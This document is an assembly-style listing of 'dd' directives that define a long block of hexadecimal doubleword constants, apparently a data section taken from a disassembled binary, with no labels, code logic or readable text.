		dd 0BEB9AA30h, 0BA4F4B06h, 4A55A805h, 20522DAEh, 7709C5C1h
		dd 13CE1Dh, 0B1492624h,	0C6EAB71Eh, 31C080Dh, 0D1D4E914h
		dd 3FD00147h, 9734202Ch, 5F0C3EDFh, 3A49B17Ch, 0D17230BBh
		dd 98C1CA87h, 0BA5F9EAh, 604FBB20h, 0FC682DB3h,	71608039h
		dd 6A9CC924h, 0E907179Ah, 4544C291h, 0A5474BC1h, 0C3D9740Ch
		dd 460303E4h, 6A0F3CB9h, 995A7309h, 89D91E5Dh, 0B8811169h
		dd 28012254h, 350F8438h, 0FE92DC14h, 0B2BF92Dh,	0BBAE351Fh
		dd 258F20F2h, 0B348C58Fh, 3FDF3918h, 38E05EFAh,	0AF5CBBCAh
		dd 4AEAA6F6h, 62C9F016h, 7D59B02Eh, 4AC57A11h, 9684E90Bh
		dd 0A91832F7h, 54457D2Dh, 0D22CE905h, 6817D98Ah, 0D4FCB87Eh
		dd 0F2A41840h, 17BAB97Ah, 0BB560321h, 6853F6D0h, 0B31E4B99h
		dd 6C3F3360h, 83922758h, 23EF6309h, 0B1015C13h,	0C552037h
		dd 0A226B160h, 6F97D4B2h, 419F8166h, 0D12DC306h, 7184EBF1h
		dd 0BD553A5Bh, 7A1B1409h, 237E2401h, 1DA07E57h,	0D2813E9h
		dd 6D8EEF01h, 0BCEF6017h, 40129E7Eh, 98BD4840h,	0F42A950Eh
		dd 0B41B5B07h, 0D54DAFB2h, 88B61CC8h, 7D2CF152h, 3E90EC0h
		dd 0FD8BC1FEh, 0F56862A2h, 7FA289F7h, 4E431265h, 85B45016h
		dd 0F9C8D05Ah, 45385F0Ch, 7B14EE6Ch, 40D8B393h,	0D842E4E7h
		dd 5741B5C4h, 54BAEFB0h, 5BE94135h, 0B59101EBh,	2FA5B63Dh
		dd 0E0C421FBh, 725D2A8Ch, 4B53C4C3h, 17BEE128h,	15E9E2Dh
		dd 0E760A29Eh, 38D47B44h, 0A56A9C4h, 6C3937A1h,	607CE27h
		dd 0FB349566h, 1D7C01F7h, 89B65BB8h, 9C54C231h,	45372D04h
		dd 4AD3A1F0h, 6F498910h, 1615B2BDh, 0BC4F981Bh,	0FAF72867h
		dd 0CAB05C97h, 4C701D34h, 48A672F6h, 1FCB7C05h,	0D4E0E2D1h
		dd 5BE5FE12h, 5B10ACDEh, 0C9543623h, 412E0441h,	0C0422159h
		dd 15DFEC63h, 51A37FF7h, 0BF854A4Ch, 9C44FA3h, 52CFBC74h
		dd 5AF5282Ch, 795B9990h, 0B7D6FA8Ch, 0B62D07ECh, 561476CDh
		dd 0C6E95313h, 0A5B88CD0h, 4F642506h, 0B773E656h, 3859FEB0h
		dd 6822C219h, 0B355159Fh, 41F5ED5h, 124F92F8h, 44A072AEh
		dd 89F5B7EAh, 53125F35h, 7B03CA8Fh, 16C60C09h, 0F5D7E912h
		dd 0BA9372F8h, 4DE95A6Ch, 2D02BDE7h, 79846EB7h,	0ACACA471h
		dd 0B0A0132Ch, 745B4B24h, 5D2B9FC2h, 0FB95BE94h, 33A4BB7Eh
		dd 0C8A14ECDh, 0F3895D6Ah, 0C2E48AE9h, 61D7F9D7h, 0F5C1964Ch
		dd 0AB9CCE01h, 1D44C64Bh, 19C1CE01h, 0F6BAF9D6h, 0AED2A9Bh
		dd 52AEFBBFh, 394D4F62h, 90635A57h, 66DC0F60h, 0F1E075B5h
		dd 6D160C94h, 69C5D8A0h, 5C149A2Dh, 4E08A0BCh, 6870BA59h
		dd 0B6F221E9h, 6EFF492Ah, 6F5EA151h, 0A36B1725h, 5EE42DB8h
		dd 0AE055857h, 4D3A6B03h, 406D99E9h, 7D3780EFh,	5E436530h
		dd 560709EAh, 0FD7650Bh, 5F5FABACh, 4E0608C0h, 97179730h
		dd 0C98664E9h, 9675584Ch, 0A3A4FAFh, 0EA553F0h,	91F20297h
		dd 280F4D8Dh, 0D4BD92FCh, 13A6573Eh, 0E66885E2h, 54674B5Ch
		dd 0E941C1D1h, 0DFC2BEA2h, 8272D0F1h, 55DD5DB3h, 1AE205Bh
		dd 174A0269h, 5120F7E5h, 36951F0Bh, 0CB24DD98h,	243204B7h
		dd 0F8B3D21Eh, 554E139Bh, 8EC5B96Ch, 228BC00Fh,	4E6E281h
		dd 0E9674850h, 6AB3AAFCh, 0AF581FD1h, 3E012811h, 0F93B9234h
		dd 0F8EE82E1h, 0B2812AAEh, 3EC77791h, 0FDCE101Ch, 0A072CB36h
		dd 9EA2D0Bh, 0A4B604Fh,	5F758F4Ah, 27D28EC8h, 9708A8DCh
		dd 0E7C1044Fh, 0B280BB04h, 4E66B133h, 3604AFCAh, 0BCF2388Bh
		dd 1225E784h, 0E2B821BAh, 4683266h, 12CC7378h, 0BD7FDDC0h
		dd 0B43A5B0Bh, 67618D0h, 0CF5FDC97h, 40F8BD8Eh,	5B48D929h
		dd 357307CFh, 37E3323Dh, 0A6AB85E0h, 4E334825h,	25B166BDh
		dd 0E5178159h, 8EA33AAh, 2E16B37Bh, 1EEBB45h, 31088030h
		dd 0A37AE43Eh, 27353B3Ch, 72497429h, 0C35014D8h, 649D5D14h
		dd 12485AADh, 7C33B40Eh, 83B3F016h, 0CF8907EBh,	0C3EE5919h
		dd 0EAEF22h, 0A24C49F3h, 60962D3Dh, 2977DE02h, 773868D8h
		dd 0F68C1DEh, 72842D02h, 6DCCE1B9h, 54E5856Bh, 8A9949Ch
		dd 0F04A2142h, 0BFD2F3FCh, 0BF5FEC98h, 54787E76h, 0B5F9058h
		dd 72EB2E13h, 0D0F4786h, 2FBCFA97h, 2DCE18E0h, 4B31B0D0h
		dd 0EA1294BEh, 3FE92460h, 0BBAF9C38h, 7D4A228Eh, 0EDD3E052h
		dd 0D50111C7h, 5617AEE2h, 2768CB8Fh, 8DB2B5A4h,	3C0BCC09h
		dd 2971F010h, 45C72AFEh, 0CB815F57h, 5A301BFFh,	9E9D0C75h
		dd 2A5E9FF9h, 0DEE1E961h, 0A65A7D33h, 66FB92C5h, 7AB794E4h
		dd 0F42B022h, 20A22F78h, 0BE6093A9h, 3B00F805h,	2D5D0279h
		dd 989D2B33h, 4DFA2053h, 1C48012h, 56D529F1h, 0CF10C3E0h
		dd 0EBC17F06h, 0BAE3282Eh, 1794C110h, 139D9510h, 4731BAD0h
		dd 3405AB47h, 520D8507h, 10AACAE5h, 1D4C33C1h, 8B0EDB84h
		dd 0B0517CE0h, 0C1CE83D3h, 0A80EA62Fh, 7F6C72DDh, 5E8C253Ch
		dd 844F7179h, 2DA3262Fh, 6463BF03h, 0A0F2084Bh,	0F181215Ch
		dd 1582357Ah, 0FA89E4DBh, 40518040h, 1B627505h,	1E8308E1h
		dd 87C83D91h, 0C61C23Bh, 5DFFE0F5h, 0A4AB8179h,	21092344h
		dd 57EE9D51h, 0A4B1BC56h, 7A60E736h, 727965A8h,	1DD9E912h
		dd 0DE8464Bh, 2C4187F4h, 69615055h, 222D3465h, 47586E89h
		dd 3FD5BF01h, 0D1BA239Fh, 17310B92h, 4BE4A1C3h,	4CE90BE7h
		dd 65A92212h, 0C0E29B7Eh, 25A8BF0Ah, 0BCE25DD2h, 800D75F6h
		dd 34416C0Ch, 75265A86h, 4C5D3B05h, 5DF33Eh, 9DB3540h
		dd 22D1CD1h, 1E3E4ACh, 3F41C289h, 34327FF2h, 35ED48FCh
		dd 0D1CA1287h, 4247B5EEh, 6366017Dh, 9F1BA009h,	482F8076h
		dd 9A693558h, 0E8E2049Dh, 0C04BBE7Fh, 305742Eh,	0F6499DA0h
		dd 63BA5CC0h, 0F44E685Eh, 0F189E7Dh, 0BB25E1F7h, 7B31EE7Bh
		dd 8704CC9Bh, 0D1067272h, 136AF15Eh, 646CDA03h,	150C0528h
		dd 0BE084D1Fh, 81FD4D4h
		dd 0F179B149h, 2CFB8349h, 0A0010B92h, 48945F70h, 11FB4C29h
		dd 2D0A82Eh, 9DEF62C6h,	4DDBDFFEh, 0A04AFFA5h, 3B3CC260h
		dd 1D36C08h, 0DB2408FEh, 2AFF42Dh, 6ABF58D0h, 117A00FDh
		dd 7D47BB56h, 8C0258E9h, 5C9F08DEh, 8987DE25h, 25C1CB6h
		dd 0A501734Fh, 6A6679B3h, 3F367B20h, 4AA88640h,	0A2CD39C3h
		dd 4F0CC077h, 422FEF47h, 5F0028DCh, 9EE97C20h, 5978968Dh
		dd 3A681002h, 0BA2EE174h, 5402DB2Dh, 2DBA9D2h, 28EEF6F3h
		dd 0C02912E7h, 0B1152E2Ch, 1A34237Ah, 5F801409h, 28CBFE58h
		dd 0BFF0F653h, 4929BF09h, 7DCBD77Ch, 412D8268h,	3F116618h
		dd 4F4C0CC8h, 5B0BC91h,	178559D3h, 2AC8BF00h, 4FF73209h
		dd 165DE9DFh, 4FA1B3E9h, 312DBE3Eh, 5E3AD32Ah, 0BB538301h
		dd 56FE1AA9h, 0FD40EB3Eh, 5C046BBAh, 71B2A86Eh,	0EF0706FAh
		dd 345AD609h, 221AAC05h, 40AE290Ah, 0CC3FFF4Fh,	0F313217Fh
		dd 318039E9h, 2765DE2Dh, 2D615613h, 0E8B37EAEh,	3C436807h
		dd 15109E8h, 0BA12D56Bh, 729C4187h, 72403CFBh, 570465B4h
		dd 478AE94Bh, 72685F01h, 7AE77B05h, 0AC17205Bh,	0E6C4ABBDh
		dd 2900675Ch, 355D95C5h, 59058504h, 0FC02142h, 9FFFF0A4h
		dd 21CC1475h, 5F046857h, 0A9D9FE29h, 0D2B3AC2Bh, 4C552FEAh
		dd 8EAEB5CEh, 13345918h, 4D8088E9h, 313F7CB8h, 0FF1A7E60h
		dd 2D209FC1h, 27202A07h, 0BBA3D050h, 0F35EBFE2h, 89ED800Ch
		dd 54BEECFh, 826832F7h,	7AD0A212h, 1720429Ah, 0D7DC9790h
		dd 0FD874EBDh, 82717509h, 0B070BE43h, 3F056786h, 3789733Ch
		dd 46245DE9h, 0CDD5B052h, 302A5413h, 70003E1h, 96EEBBE9h
		dd 387F406Ch, 0CE068155h, 1804266Ch, 4AF60F0Ch,	0E6867A0Eh
		dd 787C0AD8h, 6416BBF6h, 18BA2271h, 6A6012D9h, 0E95A4B0Bh
		dd 0F4142B44h, 2051E03h, 1B0A981h, 1AFFEF62h, 5D1852BBh
		dd 0EB51CA9Ch, 0FAF2C47Fh, 0AEE593B8h, 6B44DA89h, 0EF809740h
		dd 5CFA88CAh, 130545Bh,	0D3280A06h, 754F08B8h, 139EAFACh
		dd 871C413Bh, 0ADD1F7CBh, 0ED29E608h, 96A47F0h,	0D3F76EDEh
		dd 29671A79h, 0A5911653h, 0E19C6C1h, 1C45CE2Fh,	54C9EEBAh
		dd 0B589F740h, 0D1B7C255h, 1CE94335h, 0BB2CF4Ah, 0EE79B4D2h
		dd 22E2E45Bh, 0F140488Bh, 0CF0F805Ah, 92546836h, 8A16AFF3h
		dd 9EACE8F5h, 75C53009h, 332A3114h, 0C739A854h,	0B5F79EF5h
		dd 0D03755C9h, 0F0DA5AECh, 99976481h, 0DE4885C2h, 0A29FD79Fh
		dd 0BA207F28h, 30B18028h, 3FB13D60h, 170DAF98h,	1F3D87F1h
		dd 0BBACDBD4h, 98F2100h, 0CF895791h, 597160E5h,	0B132789Dh
		dd 26202462h, 544B4F03h, 0D9D83B7Dh, 0E82AE45Ah, 0D768B0A4h
		dd 0C5D1A660h, 0B749D3D2h, 0A9C45ABAh, 8448B0FCh, 1E85C73Bh
		dd 0AFCD3177h, 0B9C221A2h, 8483FB54h, 6D16051Bh, 608A1550h
		dd 480CE95Eh, 0D168E1C0h, 25E95048h, 8B66AC40h,	582CEC20h
		dd 6348851h, 66E1C02Dh,	649F0107h, 1E34091Fh, 82F575BAh
		dd 750C7C83h, 0F7F668EEh, 0C40B2D50h, 979F472Eh, 0F133C909h
		dd 8243886Bh, 50E72503h, 6CC7C49Ah, 25FDF2DBh, 1BE59072h
		dd 57791E09h, 5360C06Ch, 98159E6Ah, 0B85EB551h,	5F0CEB13h
		dd 44264C20h, 4E00EE0Fh, 5F3E3918h, 580D472Dh, 0F014207Fh
		dd 5E090705h, 5EF093E9h, 53209790h, 0C87BB7BAh,	33E9443Bh
		dd 0C3A13704h, 0D7F452BAh, 9B160913h, 570672ECh, 8A37AE29h
		dd 392CAB41h, 0E41EE5Bh, 9B6197BBh, 0EF2FE03Ch,	103C47F9h
		dd 680B19E8h, 0D2C6575Eh, 66DAD72Dh, 2C9BB4B2h,	4B111082h
		dd 0FC5EE4B8h, 0F56ADF8Eh, 282B2D05h, 71C205B9h, 620F4CADh
		dd 0EF882586h, 508D4C45h, 0B65E651h, 41768A2Eh,	86B47A04h
		dd 0A242BFBEh, 6980EEDFh, 0F40019B2h, 1EE36B3Dh, 900126B0h
		dd 31B11349h, 2F305EF2h, 10E42AE9h, 0D8F304E0h,	0BE41C909h
		dd 29FCE013h, 69BD783Bh, 853A5A24h, 0D179DD17h,	93C6A3h
		dd 3F3C68h, 815D4AB3h, 5A1ABAF5h, 260C7867h, 891DD250h
		dd 51E914EEh, 0EB5BFE2Eh, 0A22E7679h, 29ABD634h, 34443B77h
		dd 0CAEE29A1h, 5EF716CCh, 156DAAEh, 20F1801Fh, 0A96D9F6h
		dd 4380FB3h, 69AC16Eh, 79AFF802h, 8A9D9877h, 0BD2BE136h
		dd 0F8E9E06Bh, 498EA86Eh, 0E183D11h, 5249A70h, 0D637D2BDh
		dd 0FB97AA15h, 10E4DE1h, 0B485E3Fh, 0F0CB9214h,	661D70F9h
		dd 9A1B7454h, 3B383677h, 0B5134F55h, 4D54685Bh,	34E93A40h
		dd 0BB6A0883h, 5F0AF23Ch, 674830ECh, 869CE334h,	173E4E00h
		dd 5FCB2936h, 1094AC59h, 0B803E17Bh, 7380199Eh,	725F28D1h
		dd 6CB880D3h, 4FC9EFE8h, 9756B801h, 0D5C50BEEh,	84555B24h
		dd 2038E1E4h, 571FA734h, 0F39A6F58h, 0C080CACh,	872B16C7h
		dd 528B6062h, 0E9125750h, 0B44EF407h, 66A75DFEh, 0FD20F5DBh
		dd 9FB2B262h, 11590B7Ch, 0A4DED5A7h, 0E87F7C02h, 4949DF48h
		dd 46163BA6h, 0F612D8EAh, 72F2E05Bh, 0CC62EF8Bh, 7382B7FEh
		dd 0D45C9F7Ch, 2326C3ADh, 85B95402h, 6351404Ch,	5E0D966Fh
		dd 0CB58B29h, 73FEE5E9h, 5F5009CEh, 0F50058DAh,	7D713A89h
		dd 9C81019Ah, 2B73C5E9h, 78A73C10h, 4D34CF2Ch, 8054B581h
		dd 0B87092C5h, 0CF98B7BFh, 60139BB9h, 4BA03E2h,	544CD8h
		dd 29110559h, 0A0374EF3h, 0E8BCAC48h, 6A9ABA01h, 0F12A1D7Bh
		dd 71D2CCB3h, 0BBD38B8h, 63DAF1A1h, 57640A9Dh, 0F012EA8Eh
		dd 0EBE02FF3h, 0F8ADCBF1h, 0B2004E21h, 8B4CD5B8h, 0A370B555h
		dd 182CCE18h, 95315D8Ah, 0C33419D0h, 82AA5685h,	66D7011Dh
		dd 764D6483h, 0F3859331h, 3D2D58C8h, 6643211Dh,	817B6742h
		dd 8564242h, 853E0883h,	71B14FF0h, 7D210BBh, 0E8669C64h
		dd 42BF0F1Ah, 0C15DA04Ah, 14703E7h, 44F4F781h, 2F4F181Ah
		dd 372343FAh, 760B7CEEh, 20A2E9FBh, 9E68584Fh, 8189555h
		dd 412D1D82h, 2C92D052h, 0A8867368h, 3841D8h, 3E7BBB84h
		dd 0EDD11C1Fh, 9EE7F349h, 0A8FCED08h, 0D3A34C12h, 5552E103h
		dd 0C051EDAh, 353F761Ah, 0B4C47185h, 0D7ACBDBEh, 0BD4F55BCh
		dd 1ED84EDh, 5EAE6194h,	0EB48B6Fh, 7A308EF3h, 58AB1F2Bh
		dd 0D02F212Eh, 0E51FDD73h, 449E4683h, 0AAD20556h, 0F815CB68h
		dd 3DE90AF1h, 6482B27Bh, 80431F03h, 0E0FCA0A4h,	0B85000BCh
		dd 3E0D1221h, 80E4405h,	2140C2E8h, 3068D8F7h, 457FD87Ah
		dd 0D612F9B9h, 0D2120353h, 9ABDC540h, 18337274h, 685DEF21h
		dd 964853A1h, 0F4417467h, 7E32F13Bh, 2B5D80ECh,	0CE12E6Eh
		dd 0F82D1210h, 0D6823456h, 8BD32751h, 3C01A5E9h, 0E532DABDh
		dd 0F2EC04BAh, 5C48C320h, 60251A5Eh, 0FF685CE0h, 350C0B49h
		dd 0EA23AAh, 0FBB652E0h, 9473E680h, 0F24C63Bh, 2FC006EEh
		dd 0BEF68108h, 7765ADE9h, 8C5BC87Eh, 58F7DE40h,	0F226BD9h
		dd 570AD02Ah, 3C2BBB04h, 0CDC02822h, 19055EF1h,	4DBF714h
		dd 7615E1E9h, 783E1096h, 0D467EC50h, 4A75F670h,	9A39015Ah
		dd 2E23391Ah, 2520E7E0h, 295CFF3Dh, 0A9AF3509h,	90E9F815h
		dd 0DBA125F7h, 62DF963Ah, 0A1315787h, 0C7B5A851h, 39AD9C0Bh
		dd 7D84E2C3h, 5A82215Eh, 774D2D68h, 515207B0h, 909A5F8h
		dd 575957E1h, 6A5EA18Ch, 19B55C12h, 0A98E6C01h,	0F42AD8BDh
		dd 7A97D6A0h, 77FC9771h, 59E95270h, 0C024CDEAh,	8BF02F71h
		dd 0DE24537Ch, 82C2566Eh, 0B45B06C6h, 45C3ECDEh, 0C4297CFEh
		dd 728EA00h, 12C308Dh, 55257A2Ah, 5D98BE6Fh, 0B901155Ah
		dd 0B2582D9Ah, 53F21812h
		dd 0AB3CC2FEh, 77D709D5h, 6C9525D3h, 4FBD02EDh,	7F1B0217h
		dd 4095C5C4h, 0BB3ABB73h, 4E950228h, 0C17F5B05h, 0CA8408FAh
		dd 0C0F43594h, 0A993F78Ah, 0D85C1B25h, 0F143276Ah, 278E612h
		dd 111DFC0Bh, 0EBCF053Eh, 0CC130713h, 9F099184h, 60786294h
		dd 270A2E34h, 0B6D16890h, 6432F5A8h, 57EF5DA6h,	552D2D7Eh
		dd 0E7A83C14h, 0E3277493h, 80E46002h, 6E8881B3h, 0CA2DF781h
		dd 0FB2210AFh, 5975DCF0h, 7F0B49FEh, 0DB68E560h, 76981E4Eh
		dd 8DB4AA19h, 5724446Eh, 0F9CB0181h, 87487B58h,	0C95E60EBh
		dd 0D75F53C9h, 260C4A8Dh, 4C7642C8h, 5F712F28h,	0CCDD9A32h
		dd 2CF2208Ah, 0ADEB009Dh, 0B0F9070h, 7A32BB53h,	0AF4B1385h
		dd 38053B12h, 0CEBE452Ah, 28680AADh, 71A56B3Dh,	0F0C18B7Bh
		dd 0F62AE7Eh, 391AFDF4h, 0DB5CAC40h, 2C69BE80h,	1623E34Ch
		dd 0C6CA905Ah, 0C532E243h, 0F6291601h, 0B45041FDh, 659B3036h
		dd 982D4182h, 0D2B4AC6Fh, 0FC64C5EAh, 78F4B734h, 728904F1h
		dd 95F1639Ch, 7C9357AFh, 745E97FAh, 0F0EB309h, 0E1492900h
		dd 0ECE15072h, 0A61961E0h, 725E48C9h, 0F1302300h, 0BEEF811Bh
		dd 359C400h, 685FFE29h,	34785A57h, 0E96FF459h, 4B52F149h
		dd 587E10B8h, 9981F636h, 201ED57Bh, 0F77603B8h,	16DFD7A0h
		dd 9255117h, 0CA0985B9h, 1A023045h, 88761F37h, 4279246Fh
		dd 0C89AFF12h, 4B898E40h, 18D6E4DBh, 7B773517h,	0F108B02h
		dd 87445FD7h, 0D7E37AE7h, 34A0C827h, 33515BC5h,	3226504Ch
		dd 0D7FE2714h, 0E12F07A4h, 4BD6FBFh, 56553D3Eh,	139C9F3h
		dd 24E9FD6Fh, 223B44A4h, 7E144797h, 4989B620h, 0C0D2865Fh
		dd 16E9563Dh, 54273F9Eh, 98DF5ABCh, 0C0A985A0h,	1110EBC9h
		dd 13F60346h, 688ADF50h, 193A3727h, 6C25C112h, 1036E37Eh
		dd 281DDAE8h, 3B58C9EAh, 45B0F2C6h, 9BE5940h, 190C1540h
		dd 6122B04h, 4086CE29h,	951FBFA6h, 0A7E89777h, 0B01DCA20h
		dd 5CB2149Dh, 0F507C43Bh, 692B0892h, 232038D2h,	0D634C5BFh
		dd 6147C9DCh, 0F8527B6Bh, 0C3716406h, 0F423D67h, 0FE6D73BDh
		dd 0B2A06E64h, 6AB9B058h, 26CCEE3h, 4A74174Ch, 0B283C74h
		dd 3D16C401h, 7F72E945h, 0C534FE69h, 3AE7BB46h,	3218995Bh
		dd 14EE5B77h, 0F02875F9h, 242548F9h, 12DF3B1Eh,	12D7F97Bh
		dd 1AEC0690h, 3912F2B7h, 5D4B2146h, 0B3BBB830h,	71D61657h
		dd 85AE31h, 5DAF2581h, 54948205h, 0B54C8BE0h, 0F528841Fh
		dd 3DC4D4D6h, 357DC3AEh, 7EDA3981h, 28ADAFD5h, 9D061113h
		dd 3A8C6E7Eh, 2A6012Dh,	0D0016A74h, 0C4074405h,	5FC4BC22h
		dd 0FEBC64BEh, 599D3741h, 0B2707B44h, 801316FCh, 1030AC36h
		dd 2E48D9C2h, 7C2B0305h, 13EF247Fh, 561A0808h, 21BA2113h
		dd 736201E5h, 39FB4A98h, 0E6F23FAFh, 5C6B8430h,	0D495F921h
		dd 2BF15895h, 50A21838h, 995F9AAh, 0EEF1D751h, 0EE2E8751h
		dd 0ABE4B38h, 16231876h, 0D0FD17FAh, 0EE350559h, 27ED8A12h
		dd 0C062B2EAh, 0D9F842BBh, 0EB012F49h, 51B819F7h, 26594634h
		dd 5823D520h, 8F07ED80h, 0E828CC2Ch, 0B2EE93BEh, 0C5CA6B18h
		dd 0B3530523h, 0E702ABD3h, 0B87BC380h, 0FC29B212h, 749B48E2h
		dd 0F57C992Dh, 0E16CD527h, 20CAFE33h, 0FFC29917h, 0C0B1328Fh
		dd 506082Ch, 88A5F895h,	12D0CEA3h, 0C55C5932h, 0F292EB09h
		dd 0D6CA40E0h, 2349286Ah, 0DD26BCFh, 7F25F7D0h,	3CC6F1BFh
		dd 0B85B325Ch, 98AF976Eh, 0D840841Fh, 68570B59h, 4C46124Ah
		dd 0B6B3209h, 0C878014Bh, 0E9C89634h, 0B30C55FEh, 68121178h
		dd 7EA559A1h, 0C9377AC7h, 5CE9DAE7h, 0FF6E621Fh, 0A16A229h
		dd 0B40808h, 5DE380F9h,	64AEBC0h, 0DD390EFAh, 2C5BD801h
		dd 3CF37161h, 0F5F84F78h, 407EAD4Eh, 0E04A2092h, 0A77737ABh
		dd 3E5BB9BEh, 92077731h, 8080612Ch, 0C8289CC1h,	6BFF49Fh
		dd 3BE287E9h, 8E4640BDh, 48B23E63h, 84EF32ACh, 0C2D8285Ah
		dd 69910EF6h, 2A432554h, 8790FCE7h, 0D538EF4Fh,	1D0DBF65h
		dd 0E11A4098h, 0B6CFC0A4h, 0F1D23EFEh, 17E3EADh, 0E5080BECh
		dd 0EC526658h, 0D25CF6EAh, 53D41E5Dh, 0FD85E71Eh, 0F2D6E6E9h
		dd 0FE581612h, 121E12C7h, 9E78A932h, 92A9FC89h,	0C7E509F3h
		dd 254025F3h, 505B5268h, 0A2F7B792h, 25510FC0h,	4829ECE0h
		dd 0B0C9022Ah, 46916Ah,	32D41790h, 4E83AB0h, 0DDEF6F50h
		dd 8DAAE04Ah, 0D1B12F5Eh, 9D95DB46h, 0AF5FFC02h, 0C0569277h
		dd 0C143CF6Ah, 49036D7Fh, 19C3E83Eh, 0AEEC5A81h, 0D395CA66h
		dd 838A6D8h, 0B805025Eh, 7D80240Dh, 2F070C25h, 3B704B15h
		dd 18BD0505h, 9790F6A0h, 0BFD6315Bh, 2D0C3DECh,	743E72CFh
		dd 5EAE6484h, 9F4CA25Eh, 0D7E843C9h, 4C019EB0h,	59459FB1h
		dd 0CB09AACh, 6D0AD80Eh, 0E694A0E9h, 0D03092B1h, 47E18E9h
		dd 0D77B2C30h, 5644F6Fh, 4979427h, 0F8997CA3h, 5458D979h
		dd 3A68E3F1h, 0A4D65C2Fh, 91BF16C9h, 0C6C509B5h, 728531D6h
		dd 0C1AFDC35h, 0E1C18886h, 0F8C87F10h, 75962FBAh, 0F1BF8670h
		dd 0A00560A4h, 104A8B01h, 0D5435EFh, 7BD4C43Fh,	0B8A4C9F9h
		dd 0E7407EB1h, 9569EC5Fh, 0CA7CD909h, 77A80E12h, 4FC16625h
		dd 28406C6Dh, 187AA4C3h, 0EF0261DEh, 558FBEAFh,	0FA1F522h
		dd 531EE251h, 246AE449h, 0C2C0F049h, 4F451659h,	8931AF74h
		dd 563C87CFh, 85C6F102h, 52FDC109h, 0B6F59794h,	0CEE916DCh
		dd 0D84DF384h, 7246CC74h, 74E91770h, 979FE98h, 0C9D0D93Bh
		dd 0BBF66B55h, 0D071207Ah, 97205897h, 0C24E8EF5h, 7FE8598Dh
		dd 5527F860h, 0E97AA00Fh, 55B31ACAh, 6C2023F2h,	38269056h
		dd 0AA5E169Eh, 1444F66h, 59A70B9Ah, 219DE94Bh, 92146349h
		dd 7D6D24D1h, 5EF3AB85h, 2F16A959h, 423371FFh, 0BEBF394h
		dd 472A29E8h, 0EFCB8106h, 32941444h, 0E34DD998h, 20FED480h
		dd 81026FA8h, 7F0C01F7h, 3B39D81Dh, 5584B152h, 88C92CE9h
		dd 0CD70456Eh, 34EAC04Eh, 9637C19Bh, 751D3413h,	564F4818h
		dd 8231173Ch, 2C12BD61h, 0AAE94A12h, 66B6D0F4h,	2C4ACD59h
		dd 431BD0FEh, 0E9F67063h, 0CC81F35Eh, 31C8AD66h, 236817D8h
		dd 0E153676Ch, 0D151A2BBh, 0EB81D843h, 0E9357002h, 0F501167Bh
		dd 6C0C15C5h, 7BEBE754h, 1CE53093h, 0CE24870Ch,	0AFE91109h
		dd 4BA9A04Eh, 1F334F54h, 79D1095Ah, 0C33DB830h,	0EE09EC61h
		dd 4FB2927h, 5E0E93BFh,	273FADC6h, 0D466F327h, 0A7D02F15h
		dd 925567Fh, 20DCE7AAh,	3FC80BD4h, 0E1180C96h, 378E1C0h
		dd 0E6677825h, 5ADC2081h, 0F2296618h, 483CC2FAh, 0E52D2440h
		dd 758C14FEh, 1EB8CDD6h, 922FC463h, 7BCDB192h, 0E9E162ACh
		dd 1F043CB9h, 5041F680h, 0A3448B0h, 0DD17AC9h, 870C6C1h
		dd 0EC7AE1A0h, 0D27AA19Eh, 0FAE7346Bh, 460BBF13h, 0F60EC620h
		dd 0F1A195F4h, 95A57585h, 0BDD363Eh, 8741045Bh,	59472C4Fh
		dd 0DD52F802h, 3CEA8EB1h, 575D2725h, 716281AEh,	898109B0h
		dd 0CE45B555h, 2F8850FFh, 0D51A14B6h, 0B8905572h, 2A39148h
		dd 0E00A09E5h, 2EB2E371h, 855757h, 6F016985h, 7400D9BFh
		dd 0C7316DC2h, 98FD2158h, 24F57D7Ch, 812EF611h,	54A76648h
		dd 0C8106E29h, 685D0508h, 8AB36ADDh, 153B5E10h,	0E9AD1F7h
		dd 4CD3315Ah, 0B74B08DAh, 0BE15DE48h, 911171Fh,	75DCE95Fh
		dd 4111F72Fh, 4ADDEE5Bh, 96015316h, 7F12EE2Ah, 658C8A16h
		dd 501E17EEh, 455012Eh,	6B25FD3Dh, 40A05036h, 681366AEh
		dd 0B2213136h, 0E128ABB2h
		dd 0F6C2860Bh, 3A083D02h, 158EA55Eh, 4E736733h,	586EC671h
		dd 5AE96AC0h, 81A11613h, 0D24AB549h, 0BE56D901h, 0F2680840h
		dd 8C46B347h, 0F3D17179h, 9304821Eh, 16863588h,	681F385Ah
		dd 984C8B2Fh, 0D4E5AF3Ah, 2804B931h, 0AB48CB04h, 0E7D070C4h
		dd 4CC63B1Ch, 793C8550h, 8D8B92h, 0F62CE627h, 0FA7E292Ah
		dd 0E908EA50h, 9585145Eh, 0EF6B34BEh, 907A091h,	73CEDCFAh
		dd 5AC44F9h, 1D33100h, 0F8485A9Eh, 1432EB8Bh, 6E2BC1D3h
		dd 5AB30C48h, 0ECE004F0h, 8E8B5D1Dh, 0DF23C98Dh, 451C824h
		dd 1B5CB468h, 8701FF2Dh, 6C2F3DEDh, 0FE50D87Fh,	30D75805h
		dd 40E02DE9h, 32CA6029h, 9A94E8C2h, 4CBE458h, 4B6245DBh
		dd 0AE27C4BBh, 2D0BF250h, 9551965Ah, 59BD2FD0h,	0FD92827h
		dd 36881240h, 0EADD2964h, 0A2E06533h, 0C7BF701h, 0A0472612h
		dd 9974DE87h, 28EB5694h, 70406D1Bh, 2D732568h, 0E455C791h
		dd 8067286h, 8863E923h,	2DE17C1Dh, 6298176Ah, 506215Fh
		dd 1E51E91Ch, 0B5348C8Ch, 5053C47Ah, 61BC5AFFh,	3824474Eh
		dd 21CB8209h, 0BAC160FFh, 4F30972Bh, 0FA261094h, 2F0132h
		dd 28E949CBh, 9C2BE10Bh, 0D5414341h, 73EA3887h,	0A666DCDDh
		dd 5DAD1D15h, 6E48C3E6h, 27B89470h, 9377EA4Bh, 0E08B96CAh
		dd 0EB8DFC36h, 0D7C432F6h, 551EC8BBh, 0FE57BD05h, 0D1AFF0BBh
		dd 40FDC584h, 3345F421h, 1FF47850h, 6BCA89A9h, 4AFC0CF5h
		dd 58E23B08h, 0C092EA13h, 2520E91Ch, 1E286DD5h,	0C8DA52FBh
		dd 0F40E4039h, 4B852D7Ah, 810D2E7Dh, 72823179h,	9B668A60h
		dd 0DB2C0BACh, 75AF6BF3h, 0B6459C8Bh, 44CF6589h, 0ED3341B6h
		dd 0A5032B4Bh, 3887F580h, 0EA250206h, 6CF6F3C1h, 523E2F86h
		dd 6BFC299Dh, 16C3A6EFh, 0C3FA2205h, 0E83C10D7h, 0F34282EDh
		dd 6E0D0154h, 0FA3B6A0Ah, 0A53D338h, 84053A68h,	0A0800A8Ch
